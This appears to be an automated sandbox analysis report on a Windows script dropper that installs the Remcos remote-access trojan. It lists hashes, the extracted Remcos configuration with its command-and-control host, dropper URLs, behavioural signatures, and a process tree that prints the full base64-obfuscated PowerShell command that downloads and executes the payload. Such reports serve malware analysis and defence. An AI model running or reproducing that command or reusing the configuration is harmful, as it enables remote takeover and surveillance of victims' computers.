Analysis

  • max time kernel
    150s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2024 17:16

General

  • Target

    nr101612_Order.wsf

  • Size

    3KB

  • MD5

    2351b140cfa13f0cf05f93b471edd1f6

  • SHA1

    aab24f356405a117ce7df0016b131872fb1b2f16

  • SHA256

    4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17

  • SHA512

    bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Family

remcos

Botnet

RemoteHost

C2

ahmedahmed.ddns.net:6426

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-SEVL3E

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\nr101612_Order.wsf"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5100
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cG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nVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3180
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
          PID:2032
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4064

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\remcos\logs.dat

      Filesize

      144B

      MD5

      baf40be3fae87ade6606672dd24dc2da

      SHA1

      f6daaa0fb97df8ccda96302b0638dde8cd64bbb3

      SHA256

      ce984aa38b1dd27fe09c71a6211af0ec1f1f7792774e20d971664d70ebc966b1

      SHA512

      d7764c38e3d38907ac050f15913cf9ab3fc8a459642955eff4549d4f06390930bf68bfd67cb82e8719c1eeb330ab1bc1efdaf1983a1583aa7953076bcf3cc311

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ncphcecq.umn.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3180-16-0x000002AC700B0000-0x000002AC70208000-memory.dmp

      Filesize

      1.3MB

    • memory/3180-22-0x00007FFCC70C0000-0x00007FFCC7B81000-memory.dmp

      Filesize

      10.8MB

    • memory/3180-12-0x00007FFCC70C0000-0x00007FFCC7B81000-memory.dmp

      Filesize

      10.8MB

    • memory/3180-13-0x00007FFCC70C0000-0x00007FFCC7B81000-memory.dmp

      Filesize

      10.8MB

    • memory/3180-15-0x00007FFCC70C0000-0x00007FFCC7B81000-memory.dmp

      Filesize

      10.8MB

    • memory/3180-14-0x00007FFCC70C3000-0x00007FFCC70C5000-memory.dmp

      Filesize

      8KB

    • memory/3180-0-0x00007FFCC70C3000-0x00007FFCC70C5000-memory.dmp

      Filesize

      8KB

    • memory/3180-1-0x000002AC6D580000-0x000002AC6D5A2000-memory.dmp

      Filesize

      136KB

    • memory/3180-11-0x00007FFCC70C0000-0x00007FFCC7B81000-memory.dmp

      Filesize

      10.8MB

    • memory/4064-21-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4064-20-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4064-23-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4064-25-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4064-27-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4064-30-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB

    • memory/4064-17-0x0000000000400000-0x000000000047F000-memory.dmp

      Filesize

      508KB